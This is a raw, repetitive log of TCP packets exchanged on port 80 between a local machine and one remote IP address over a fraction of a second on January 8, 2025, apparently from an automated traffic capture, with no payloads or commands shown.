Jan 8, 2025 09:42:33.040617943 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.040626049 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.040627956 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.040637016 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.040653944 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.040666103 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.040700912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.040713072 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.040743113 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.040759087 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.062052965 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.062062979 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.062076092 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.062134027 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.062136889 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.062153101 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.062167883 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.062169075 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.062179089 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.062192917 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.062210083 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.062210083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.062230110 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.062258005 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124558926 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124579906 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124598980 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124618053 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124628067 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124640942 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124654055 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124654055 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124664068 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124676943 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124686003 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124689102 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124694109 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124710083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124716043 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124727964 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124731064 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124741077 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124752045 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124764919 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124764919 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124778032 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124788046 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124792099 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124794960 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124813080 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124826908 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124833107 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124847889 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124861002 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124876976 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124876976 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124896049 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124955893 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124969006 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124980927 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.124993086 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.124994040 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.125010967 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.125035048 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129456997 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129513025 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129532099 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129545927 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129559040 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129571915 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129585028 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129601955 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129667044 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129695892 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129712105 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129714966 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129726887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129735947 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129740000 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129745007 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129754066 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129762888 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129785061 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129795074 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129795074 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129812956 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129829884 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129832983 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129851103 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129858017 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129865885 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129877090 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129884958 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129894018 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129904032 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129911900 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129931927 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129939079 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.129951954 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.129991055 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130002022 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130012989 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130031109 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130052090 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130053043 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130069971 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130081892 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130089998 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130106926 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130109072 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130116940 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130120039 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130134106 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130146027 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130148888 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130155087 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130162954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130176067 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130176067 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130188942 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130189896 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130203962 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130208969 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130228996 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130258083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130346060 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130393028 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130414963 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130439043 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130450964 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130462885 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130469084 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130469084 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130475998 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130490065 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130492926 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130503893 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130527020 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130531073 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130543947 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130554914 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130565882 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130579948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130592108 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130601883 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130605936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130620956 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130630016 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130642891 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130667925 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130707979 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130719900 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130733013 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130748987 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130759001 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130779982 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130805016 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130816936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130827904 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130841970 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130852938 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130853891 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130852938 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130871058 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130878925 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130887985 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130903959 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130928040 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130934954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130948067 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130959988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130970955 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130981922 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.130995035 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.130995035 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131007910 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131020069 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131021023 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131031990 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131043911 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131043911 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131057024 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131069899 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131076097 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131078959 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131088972 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131108046 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131113052 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131127119 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131134033 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131138086 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131150961 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131154060 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131167889 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131181002 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131206989 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131220102 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131232023 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131242990 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131244898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131258965 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131268024 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131270885 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131283998 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131297112 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131303072 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131316900 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131326914 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131344080 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131356955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131378889 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131390095 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131537914 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131551027 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131563902 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131576061 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131576061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131587029 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131592989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131601095 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131606102 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131616116 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.131630898 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.131655931 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.152596951 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.152614117 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.152632952 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.152645111 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.152657986 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.152728081 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.152779102 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.152791977 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.152803898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.152813911 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.152813911 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.152844906 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215006113 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215018988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215032101 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215055943 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215066910 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215068102 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215087891 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215092897 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215112925 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215121984 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215127945 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215138912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215151072 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215167999 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215177059 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215188980 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215192080 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215203047 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215214968 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215215921 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215240002 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215262890 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215264082 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215284109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215297937 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215307951 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215311050 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215332985 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215343952 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215354919 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215363979 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215365887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215377092 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215384007 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215394974 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215401888 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215408087 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215415955 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215420961 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.215451002 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215451002 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.215461016 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220010042 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220037937 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220065117 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220077991 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220089912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220103025 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220115900 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220159054 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220180035 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220180035 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220199108 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220199108 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220211029 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220222950 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220257998 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220266104 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220268011 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220309973 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220328093 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220345020 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220370054 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220374107 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220388889 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220401049 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220407963 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220427990 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220428944 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220442057 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220443010 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220453978 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220464945 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220469952 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220484972 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220490932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220494032 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220504045 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220515013 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220524073 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220551014 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220551968 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220566988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220580101 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220585108 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220594883 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220607996 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220618010 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220633984 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220752954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220765114 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220782995 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220793962 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220808983 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220809937 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220825911 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220837116 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220849991 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220851898 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220861912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220874071 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220875025 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.220885038 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.220889091 CET	80	49708	176.113.115.19	192.168.2.8
